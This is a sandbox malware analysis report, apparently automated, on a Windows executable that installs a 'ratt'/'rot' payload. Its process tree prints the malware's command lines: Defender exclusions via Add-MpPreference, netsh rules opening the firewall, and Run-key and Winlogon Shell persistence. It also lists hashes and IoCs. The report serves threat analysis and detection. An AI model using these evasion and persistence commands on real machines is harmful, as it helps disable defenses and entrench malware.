8cd021072c0f54224bdf174043fb4dfe9718678e9c7ba93bdd7c87f54392feb6

Analysis

max time kernel
28s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20230703-en
resource tags

arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
submitted
01/08/2023, 01:47

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

8cd021072c0f54224bdf174043fb4dfe9718678e9c7ba93bdd7c87f54392feb6.exe
Size

1.4MB
MD5

3dc62f71afef2df7384b36b7f51b0ee0
SHA1

cb5a1f609e6d29d153943e56a7474a517b7f54d6
SHA256

8cd021072c0f54224bdf174043fb4dfe9718678e9c7ba93bdd7c87f54392feb6
SHA512

2c6584d12ad9d132fe50db638a9b51a9a05c27279ecaf6bb5e736a96876a3a06d070a9c0c12d8e1e3963c7f4f6578154aae477a2fa1f3b76de20df0f3fca11bd
SSDEEP

24576:U2G/nvxW3Ww0tRp8GiXTBhq7yRDvHcUcjUvy0lr3Tl6icOB/UWoT:UbA30H4zF0UMSAicOB/UWk

Score

8^/10

evasion upx

Malware Config

Signatures

Modifies Windows Firewall 1 TTPs 2 IoCs

evasion

Windows Service

T1543.003

pid	Process
2252	netsh.exe
3528	netsh.exe

ACProtect 1.3x - 1.4x DLL software 2 IoCs

Detects file using ACProtect software.

resource	yara_rule
behavioral1/files/0x00060000000231f4-236.dat	acprotect
behavioral1/files/0x00060000000231f4-235.dat	acprotect

Executes dropped EXE 1 IoCs

pid	Process
4680	7z.exe

Loads dropped DLL 1 IoCs

pid	Process
4680	7z.exe

UPX packed file 7 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00060000000231f5-232.dat	upx
behavioral1/memory/4680-233-0x0000000000400000-0x0000000000432000-memory.dmp	upx
behavioral1/files/0x00060000000231f4-236.dat	upx
behavioral1/memory/4680-237-0x0000000010000000-0x00000000100E2000-memory.dmp	upx
behavioral1/files/0x00060000000231f4-235.dat	upx
behavioral1/files/0x00060000000231f5-234.dat	upx
behavioral1/memory/4680-241-0x0000000000400000-0x0000000000432000-memory.dmp	upx

Unexpected DNS network traffic destination 3 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	208.67.222.222
Destination IP	208.67.222.222
Destination IP	208.67.222.222

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Runs ping.exe 1 TTPs 4 IoCs

Remote System Discovery

T1018

pid	Process
4600	PING.EXE
1900	PING.EXE
2864	PING.EXE
4500	PING.EXE

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
3044	powershell.exe
3044	powershell.exe
1252	powershell.exe
1252	powershell.exe
2948	powershell.exe
2948	powershell.exe
4496	powershell.exe
4496	powershell.exe
1352	powershell.exe
1352	powershell.exe
4296	powershell.exe
4296	powershell.exe
4296	powershell.exe

Suspicious use of AdjustPrivilegeToken 48 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4132	WMIC.exe
Token: SeSecurityPrivilege	4132	WMIC.exe
Token: SeTakeOwnershipPrivilege	4132	WMIC.exe
Token: SeLoadDriverPrivilege	4132	WMIC.exe
Token: SeSystemProfilePrivilege	4132	WMIC.exe
Token: SeSystemtimePrivilege	4132	WMIC.exe
Token: SeProfSingleProcessPrivilege	4132	WMIC.exe
Token: SeIncBasePriorityPrivilege	4132	WMIC.exe
Token: SeCreatePagefilePrivilege	4132	WMIC.exe
Token: SeBackupPrivilege	4132	WMIC.exe
Token: SeRestorePrivilege	4132	WMIC.exe
Token: SeShutdownPrivilege	4132	WMIC.exe
Token: SeDebugPrivilege	4132	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4132	WMIC.exe
Token: SeRemoteShutdownPrivilege	4132	WMIC.exe
Token: SeUndockPrivilege	4132	WMIC.exe
Token: SeManageVolumePrivilege	4132	WMIC.exe
Token: 33	4132	WMIC.exe
Token: 34	4132	WMIC.exe
Token: 35	4132	WMIC.exe
Token: 36	4132	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4132	WMIC.exe
Token: SeSecurityPrivilege	4132	WMIC.exe
Token: SeTakeOwnershipPrivilege	4132	WMIC.exe
Token: SeLoadDriverPrivilege	4132	WMIC.exe
Token: SeSystemProfilePrivilege	4132	WMIC.exe
Token: SeSystemtimePrivilege	4132	WMIC.exe
Token: SeProfSingleProcessPrivilege	4132	WMIC.exe
Token: SeIncBasePriorityPrivilege	4132	WMIC.exe
Token: SeCreatePagefilePrivilege	4132	WMIC.exe
Token: SeBackupPrivilege	4132	WMIC.exe
Token: SeRestorePrivilege	4132	WMIC.exe
Token: SeShutdownPrivilege	4132	WMIC.exe
Token: SeDebugPrivilege	4132	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4132	WMIC.exe
Token: SeRemoteShutdownPrivilege	4132	WMIC.exe
Token: SeUndockPrivilege	4132	WMIC.exe
Token: SeManageVolumePrivilege	4132	WMIC.exe
Token: 33	4132	WMIC.exe
Token: 34	4132	WMIC.exe
Token: 35	4132	WMIC.exe
Token: 36	4132	WMIC.exe
Token: SeDebugPrivilege	3044	powershell.exe
Token: SeDebugPrivilege	1252	powershell.exe
Token: SeDebugPrivilege	2948	powershell.exe
Token: SeDebugPrivilege	4496	powershell.exe
Token: SeDebugPrivilege	1352	powershell.exe
Token: SeDebugPrivilege	4296	powershell.exe

Suspicious use of WriteProcessMemory 36 IoCs

description	pid	Process	procid_target
PID 2864 wrote to memory of 3380	2864	8cd021072c0f54224bdf174043fb4dfe9718678e9c7ba93bdd7c87f54392feb6.exe	86
PID 2864 wrote to memory of 3380	2864	8cd021072c0f54224bdf174043fb4dfe9718678e9c7ba93bdd7c87f54392feb6.exe	86
PID 2864 wrote to memory of 3380	2864	8cd021072c0f54224bdf174043fb4dfe9718678e9c7ba93bdd7c87f54392feb6.exe	86
PID 3380 wrote to memory of 2660	3380	cmd.exe	89
PID 3380 wrote to memory of 2660	3380	cmd.exe	89
PID 3380 wrote to memory of 2660	3380	cmd.exe	89
PID 2660 wrote to memory of 1944	2660	cmd.exe	90
PID 2660 wrote to memory of 1944	2660	cmd.exe	90
PID 2660 wrote to memory of 1944	2660	cmd.exe	90
PID 3380 wrote to memory of 3844	3380	cmd.exe	91
PID 3380 wrote to memory of 3844	3380	cmd.exe	91
PID 3380 wrote to memory of 3844	3380	cmd.exe	91
PID 3844 wrote to memory of 4132	3844	cmd.exe	92
PID 3844 wrote to memory of 4132	3844	cmd.exe	92
PID 3844 wrote to memory of 4132	3844	cmd.exe	92
PID 3380 wrote to memory of 3044	3380	cmd.exe	94
PID 3380 wrote to memory of 3044	3380	cmd.exe	94
PID 3380 wrote to memory of 3044	3380	cmd.exe	94
PID 3380 wrote to memory of 1252	3380	cmd.exe	99
PID 3380 wrote to memory of 1252	3380	cmd.exe	99
PID 3380 wrote to memory of 1252	3380	cmd.exe	99
PID 3380 wrote to memory of 2948	3380	cmd.exe	100
PID 3380 wrote to memory of 2948	3380	cmd.exe	100
PID 3380 wrote to memory of 2948	3380	cmd.exe	100
PID 3380 wrote to memory of 4496	3380	cmd.exe	102
PID 3380 wrote to memory of 4496	3380	cmd.exe	102
PID 3380 wrote to memory of 4496	3380	cmd.exe	102
PID 3380 wrote to memory of 1352	3380	cmd.exe	103
PID 3380 wrote to memory of 1352	3380	cmd.exe	103
PID 3380 wrote to memory of 1352	3380	cmd.exe	103
PID 3380 wrote to memory of 4680	3380	cmd.exe	107
PID 3380 wrote to memory of 4680	3380	cmd.exe	107
PID 3380 wrote to memory of 4680	3380	cmd.exe	107
PID 3380 wrote to memory of 4296	3380	cmd.exe	111
PID 3380 wrote to memory of 4296	3380	cmd.exe	111
PID 3380 wrote to memory of 4296	3380	cmd.exe	111

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4388	attrib.exe

C:\Users\Admin\AppData\Local\Temp\8cd021072c0f54224bdf174043fb4dfe9718678e9c7ba93bdd7c87f54392feb6.exe
"C:\Users\Admin\AppData\Local\Temp\8cd021072c0f54224bdf174043fb4dfe9718678e9c7ba93bdd7c87f54392feb6.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2864
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ratt.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3380
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c nslookup myip.opendns.com. resolver1.opendns.com
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2660
  - - C:\Windows\SysWOW64\nslookup.exe
      nslookup myip.opendns.com. resolver1.opendns.com
      4⤵
      PID:1944
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic ComputerSystem get Domain
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3844
  - - C:\Windows\SysWOW64\Wbem\WMIC.exe
      wmic ComputerSystem get Domain
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4132
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command 'Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\ratt.exe"'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3044
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command 'Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\"'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1252
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command 'Add-MpPreference -ExclusionPath "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ratt.exe"'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2948
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command 'Add-MpPreference -ExclusionPath "$Env:SystemDrive\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4496
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command 'Add-MpPreference -ExclusionProcess "C:\Users\Admin\AppData\Local\Temp\ratt.exe"'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1352
- - C:\Users\Admin\AppData\Local\Temp\7z.exe
    7z.exe x -o"C:\Users\Admin\AppData\Local\Temp" -y ratt.7z
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:4680
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -executionpolicy RemoteSigned -WindowStyle Hidden -file Add.ps1
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4296
  - - C:\Windows\SysWOW64\netsh.exe
      "C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=SecuritySystem dir=in action=allow "program=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe" enable=yes
      4⤵
      Modifies Windows Firewall
      PID:2252
  - - C:\Windows\SysWOW64\netsh.exe
      "C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=SecuritySystem dir=out action=allow "program=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe" enable=yes
      4⤵
      Modifies Windows Firewall
      PID:3528
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe"
      4⤵
      PID:3408
    - - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic computersystem where name="MSXGLQPS" set AutomaticManagedPagefile=False
        5⤵
        
        PID:4236
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe"
      4⤵
      PID:3648
    - - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic pagefileset where name="C:\\pagefile.sys" set InitialSize=15000,MaximumSize=20000
        5⤵
        
        PID:1416
  - - C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe
      "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe"
      4⤵
      PID:3348
    - - C:\Windows\SysWOW64\cmd.exe
        
        "cmd" /c ping 127.0.0.1 -n 6 > nul && REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\Music\rot.exe,"
        5⤵
        
        PID:1132
      - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 6
        6⤵
        Runs ping.exe
        
        PID:4600
      - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\Music\rot.exe,"
        6⤵
        
        PID:2860
    - - C:\Windows\SysWOW64\cmd.exe
        
        "cmd" /c ping 127.0.0.1 -n 12 > nul && copy "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe" "C:\Users\Admin\Music\rot.exe" && ping 127.0.0.1 -n 12 > nul && "C:\Users\Admin\Music\rot.exe"
        5⤵
        
        PID:3752
      - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 12
        6⤵
        Runs ping.exe
        
        PID:1900
  - - C:\Windows\SysWOW64\attrib.exe
      "C:\Windows\system32\attrib.exe" +h "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe"
      4⤵
      Views/modifies file attributes
      PID:4388
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "ratt" /t REG_SZ /d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ratt.exe" /F
    3⤵
    PID:4204
- - C:\Users\Admin\AppData\Local\Temp\ratt.exe
    "ratt.exe"
    3⤵
    PID:5000
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd" /c ping 127.0.0.1 -n 19 > nul && copy "C:\Users\Admin\AppData\Local\Temp\ratt.exe" "C:\Users\Admin\Music\rot.exe" && ping 127.0.0.1 -n 19 > nul && "C:\Users\Admin\Music\rot.exe"
      4⤵
      PID:4656
    - - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 19
        5⤵
        Runs ping.exe
        
        PID:2864
    - - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 19
        5⤵
        Runs ping.exe
        
        PID:4500
    - - C:\Users\Admin\Music\rot.exe
        
        "C:\Users\Admin\Music\rot.exe"
        5⤵
        
        PID:2748
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        6⤵
        
        PID:3808
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        6⤵
        
        PID:4296
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        6⤵
        
        PID:4408
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        6⤵
        
        PID:2352

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe

Filesize
325.5MB

MD5
471048d3de1206a4d3e6d382ac31017f

SHA1
9d377df59c3ec9e33ab55c2d0079ba0f42323865

SHA256
51cdfef11ba232b2ddb649dc417ac8b6d0e161132789bde53a69984c7a5aa6f9

SHA512
54e905d95954a7ecfea8b0b9aed51bbab1dd77475371a617deda19d852ce55645b3f980f284deab98e2cd61b56a71be60eff85d1c096d1aefdc5afe4fe12c0b4

Download Submit
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe

Filesize
254.8MB

MD5
54cd1178f1e35ee3874019023564b8a3

SHA1
9b0c8f580c179f3b90730cebe6a13bcb59ea83f4

SHA256
e8ccda40d2269d2b75fc7b849db142ea72f42538ad110822f6e769ba41de0797

SHA512
690c44f0cde44693802c94d951e417dedbf235e38ad6ce88248ae41186dbac7951482134e33541223de16776bbcc1cc9620e6531c588afcd18c5d4490898c337

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
1KB

MD5
33b19d75aa77114216dbc23f43b195e3

SHA1
36a6c3975e619e0c5232aa4f5b7dc1fec9525535

SHA256
b23ced31b855e5a39c94afa1f9d55b023b8c40d4dc62143e0539c6916c12c9d2

SHA512
676fa2fd34878b75e5899197fe6826bb5604541aa468804bc9835bd3acabed2e6759878a8f1358955413818a51456816e90f149133828575a416c2a74fc7d821

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ratt.exe.log

Filesize
1KB

MD5
9a2d0ce437d2445330f2646472703087

SHA1
33c83e484a15f35c2caa3af62d5da6b7713a20ae

SHA256
30ea2f716e85f8d14a201e3fb0897d745a01b113342dfb7a9b7ac133c4ef150c

SHA512
a61d18d90bfad9ea8afdfa37537cfea3d5a3d0c161e323fa65840c283bdc87c3de85daaff5519beea2f2719eec1c68398eea8679b55ff733a61052f073162d5d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
11KB

MD5
98b5e11e940c854dc07c20faa2e471cb

SHA1
17c7a789a64ebe76c2f7b6dddd230ab4692c16d3

SHA256
cefc8a30d3d98d4cefa0b24f7d616607b65dbd7e67338e2ad3ad86bd19166c3d

SHA512
f06565a79be83599c15efb3a8990ed3eb73924db7b4abd6d37f367fc148e93c7a7a58bd648ed4e48444ce5d408e251e689c8aa1c3329a69da43fb8d97f343fc5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
11KB

MD5
c7442e3b6aff1694b1790e3497c743b4

SHA1
859bd6b7c82f3682c6be8c18036105a25e4102e7

SHA256
f4e26dc3c7fe3d47dd9ada4115da1bd18918d9a7f99fffdce9e588f2b8078ac2

SHA512
b3a3ebbb4f3c33be61680f665b7d2b1923563e2804418b02299aecde567cf2b880d2ef372205ea423bf4a28ea3b6249e7ff96abcae12f7017575fc62a8c65088

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
11KB

MD5
fdebd9a28d9b7dd17db53f526e72fcd8

SHA1
90438d58140ac0ba5385bf596a18f949ba18ac47

SHA256
a0dd26a18e3aec6614aef213d9d27927272293d7feceab28e29a0b56e48f0715

SHA512
989a3b6433925488252a1be4a8d25a4c26f5ad9e9600d046195932226ddffe2260d2deb5ed81004ebc3fcbde18eb5155d00e5e9c70db9aca2ddacdd42119338a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
11KB

MD5
44b0d3eeac0f02e292f72655472aa262

SHA1
60b2746bfcec1bb2bfbd2110b54d2a04abf0e3aa

SHA256
d753363858489ecb5f08f5dff3b9a9f74a6316c66532063199cb935f132d9a62

SHA512
90448b67fd745a60255c2e151e9a20a2d9bc496c39098508e8284ca2dc0683db7ec96054c5aebc2afbf2734fa9e8a886124dd7a431943f889c04dc289eb8695a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
11KB

MD5
d530970bb6e95157851e537e0c307009

SHA1
e7fd6b1a42ccab8178ca6c36531d34dd010a5bd8

SHA256
2eb28469dedae88e2ba9ce1ac0e7e91a3409cd1605866c7d6ac126032de55e2e

SHA512
b91fd036eacddb11ec83895e0c6334d2d0058618187ebf4ff8b7fcd1b304ad4122cb716eee0ce56fb21fa8c4bbe7bce563a004421b7eb18b2ff2c0c761b84938

Download Submit
C:\Users\Admin\AppData\Local\Temp\7z.dll

Filesize
328KB

MD5
15bbbe562f9be3e5dcbb834e635cc231

SHA1
7c01cf5fa4db2312c5ed2f7b8c41e3e5c346a51a

SHA256
ed50ef8e0b6dd83fb0c3f733329d4aa6e5a3beb3491e2ba9d2ae206813508dde

SHA512
769287951b8c16f4b10c1b58e82612844babe7b5c10445fe848d713fb5e8321bcbbd9780e9c564cffe35ea4144e8a7e19645291c4eea372fcaa19ae395a97287

Download Submit
C:\Users\Admin\AppData\Local\Temp\7z.dll

Filesize
328KB

MD5
15bbbe562f9be3e5dcbb834e635cc231

SHA1
7c01cf5fa4db2312c5ed2f7b8c41e3e5c346a51a

SHA256
ed50ef8e0b6dd83fb0c3f733329d4aa6e5a3beb3491e2ba9d2ae206813508dde

SHA512
769287951b8c16f4b10c1b58e82612844babe7b5c10445fe848d713fb5e8321bcbbd9780e9c564cffe35ea4144e8a7e19645291c4eea372fcaa19ae395a97287

Download Submit
C:\Users\Admin\AppData\Local\Temp\7z.exe

Filesize
71KB

MD5
8ba2e41b330ae9356e62eb63514cf82e

SHA1
8dc266467a5a0d587ed0181d4344581ef4ff30b2

SHA256
ea2ad8d87b79c8eb3952498c7005a195986436cfd7ca7736dbbdda979142daea

SHA512
2fdfc2d368c70320b3dac00fef06381ef90a2a82a1f3137109b033d84e5b70185039af6ec918012dc03bc9d046cd8d8aee3247ba0f59d394e78f1f73380f7a1d

Download Submit
C:\Users\Admin\AppData\Local\Temp\7z.exe

Filesize
71KB

MD5
8ba2e41b330ae9356e62eb63514cf82e

SHA1
8dc266467a5a0d587ed0181d4344581ef4ff30b2

SHA256
ea2ad8d87b79c8eb3952498c7005a195986436cfd7ca7736dbbdda979142daea

SHA512
2fdfc2d368c70320b3dac00fef06381ef90a2a82a1f3137109b033d84e5b70185039af6ec918012dc03bc9d046cd8d8aee3247ba0f59d394e78f1f73380f7a1d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Add.ps1

Filesize
1KB

MD5
0df43097e0f0acd04d9e17fb43d618b9

SHA1
69b3ade12cb228393a93624e65f41604a17c83b6

SHA256
c8e4a63337a25f55f75ad10ab2b420d716bad4b35a2044fd39dcd5936419d873

SHA512
01ae71dd2ee040baad6f4b9afcfbaeca2b9f6cc7d60ade5de637238d65c17d74292734666f4ae6b533f6bf1007c46387d8e690d97c3b7a535bcd6f216e70c4fb

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mka2grdk.zun.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\ratt.7z

Filesize
693KB

MD5
7de6fdf3629c73bf0c29a96fa23ae055

SHA1
dcb37f6d43977601c6460b17387a89b9e4c0609a

SHA256
069979bfb2aefe3cac239fe4f2477672eb75b90c9853fb67b2ac1438f2ec44ff

SHA512
d1ef2299aacf429572fd6df185009960e601e49126f080fdced26ec407e5db86eaa902e474635464aac146b7de286667a398f2c5e46c4a821dad2579bfb3acf8

Download Submit
C:\Users\Admin\AppData\Local\Temp\ratt.bat

Filesize
1KB

MD5
7ea1fec84d76294d9256ae3dca7676b2

SHA1
1e335451d1cbb6951bc77bf75430f4d983491342

SHA256
9a419095c0bafc6b550f3f760c7b4f91ef3a956cfa6403d3750164ecdbe35940

SHA512
ab712c45081b3d1c7edd03e67a8db1518a546f3fbf00e99838dfe03a689c4867a6953e6603dcd2be458b2441f4a2b70286fd7d096549cfcf032dd2cd54d68317

Download Submit
C:\Users\Admin\AppData\Local\Temp\ratt.exe

Filesize
452.7MB

MD5
9d170a3e32d1dd0052bbf7997cc979b1

SHA1
6048674b67ac3696c7a9b0e6479560cf15a60e9f

SHA256
2a8cdf0b06f2e3886a8e27331e4eb3b0b5ef418ef76a3ed230b656a8a2a858dc

SHA512
7a3c7a2495d8adfb2c33d2e46fe78db9815c61295186ffd7293853e0a5e36acaca563b0dfb384ad66c5527805b9786bc31d31c82ff6f864688ac411ab1664a92

Download Submit
C:\Users\Admin\AppData\Local\Temp\ratt.exe

Filesize
231.4MB

MD5
cef1a29b370498db8ef390459e307033

SHA1
6cdc7f4a66ec519a797dfbf84876e56b2a71bb17

SHA256
add3d52b02923986c508d68636c44841798750479bf0220b413e2d4e635c4fe9

SHA512
4f98840fca5d7cf1d320a8eb0fa6ee37623a781cd7e3e55ae79d4ba087051b48f269ded008a86d2a87964c3b9f4fbb5544c6cc896686ceab6d7a3fcb83043c31

Download Submit
C:\Users\Admin\Music\rot.exe

Filesize
115.4MB

MD5
f204c44c29c80e907b1a6a3b0907af70

SHA1
c72c4373896bb0a5e5a213605eb08dd3ada6facf

SHA256
5d4355f034b1250069edb58c7c21112a1e9ccbe92e6eeeda76a343891e0a03ee

SHA512
8c00fc577735ff445d3be4c596fb64c383d8edd0a313ed9d8f905e54fd772f50dd2c691a8e25a31a396d54b107d5ec6fb3b5050f86dff165dae94fb885c783c5

Download Submit
C:\Users\Admin\Music\rot.exe

Filesize
40.1MB

MD5
c87dfd35f3fde744a8c87f3f0777075f

SHA1
ff4dc535d443711dba048337d6f09bd067e9792f

SHA256
a084f65fc4998c10f977441f52688c041f40f9540c319e8a67bb487fc87685eb

SHA512
2bf4701d9e75d5bfe67a185a059b0d06cb27ad32f1630c11da02241451b8f3d7cfc95d4929dcdaf267fbf00759b5586684361e5e877d049fc78549afc3c5d349

Download Submit
C:\Users\Admin\Music\rot.exe

Filesize
39.8MB

MD5
577454e330d93ee2705c042e9002e1e3

SHA1
7a21ad99c03054b85e3d19c692ea8568cce9e9e7

SHA256
8bcb270cc917583ee3114309a66725a405c8ecd649e86a19c1324efdc3b83fa9

SHA512
1fc9ff817c9e74286e5fd1557dcc0986f2acaa53a939f1410ffa565ab44100536ae877b137bbd84ace5e7e91d6d8567671189eaaacd9bc30cc50e30e7615189a

Download Submit
memory/1252-170-0x0000000000FB0000-0x0000000000FC0000-memory.dmp

Filesize
64KB

Download
memory/1252-169-0x0000000074870000-0x0000000075020000-memory.dmp

Filesize
7.7MB

Download
memory/1252-171-0x0000000000FB0000-0x0000000000FC0000-memory.dmp

Filesize
64KB

Download
memory/1252-184-0x0000000074870000-0x0000000075020000-memory.dmp

Filesize
7.7MB

Download
memory/1252-182-0x0000000000FB0000-0x0000000000FC0000-memory.dmp

Filesize
64KB

Download
memory/1352-217-0x0000000002A50000-0x0000000002A60000-memory.dmp

Filesize
64KB

Download
memory/1352-230-0x0000000074870000-0x0000000075020000-memory.dmp

Filesize
7.7MB

Download
memory/1352-229-0x0000000002A50000-0x0000000002A60000-memory.dmp

Filesize
64KB

Download
memory/1352-216-0x0000000074870000-0x0000000075020000-memory.dmp

Filesize
7.7MB

Download
memory/2948-185-0x0000000074870000-0x0000000075020000-memory.dmp

Filesize
7.7MB

Download
memory/2948-186-0x0000000004BD0000-0x0000000004BE0000-memory.dmp

Filesize
64KB

Download
memory/2948-198-0x0000000004BD0000-0x0000000004BE0000-memory.dmp

Filesize
64KB

Download
memory/2948-199-0x0000000074870000-0x0000000075020000-memory.dmp

Filesize
7.7MB

Download
memory/3044-148-0x0000000004B40000-0x0000000004B50000-memory.dmp

Filesize
64KB

Download
memory/3044-149-0x0000000004B40000-0x0000000004B50000-memory.dmp

Filesize
64KB

Download
memory/3044-152-0x0000000005960000-0x00000000059C6000-memory.dmp

Filesize
408KB

Download
memory/3044-147-0x0000000074870000-0x0000000075020000-memory.dmp

Filesize
7.7MB

Download
memory/3044-151-0x0000000005060000-0x0000000005082000-memory.dmp

Filesize
136KB

Download
memory/3044-146-0x0000000004A70000-0x0000000004AA6000-memory.dmp

Filesize
216KB

Download
memory/3044-163-0x0000000006050000-0x000000000606E000-memory.dmp

Filesize
120KB

Download
memory/3044-167-0x0000000074870000-0x0000000075020000-memory.dmp

Filesize
7.7MB

Download
memory/3044-154-0x00000000059D0000-0x0000000005A36000-memory.dmp

Filesize
408KB

Download
memory/3044-164-0x0000000004B40000-0x0000000004B50000-memory.dmp

Filesize
64KB

Download
memory/3044-150-0x0000000005180000-0x00000000057A8000-memory.dmp

Filesize
6.2MB

Download
memory/3348-302-0x0000000005530000-0x0000000005540000-memory.dmp

Filesize
64KB

Download
memory/3348-295-0x0000000005530000-0x0000000005540000-memory.dmp

Filesize
64KB

Download
memory/3348-296-0x00000000054A0000-0x00000000054AA000-memory.dmp

Filesize
40KB

Download
memory/3348-298-0x00000000747A0000-0x0000000074F50000-memory.dmp

Filesize
7.7MB

Download
memory/3348-293-0x00000000052E0000-0x0000000005372000-memory.dmp

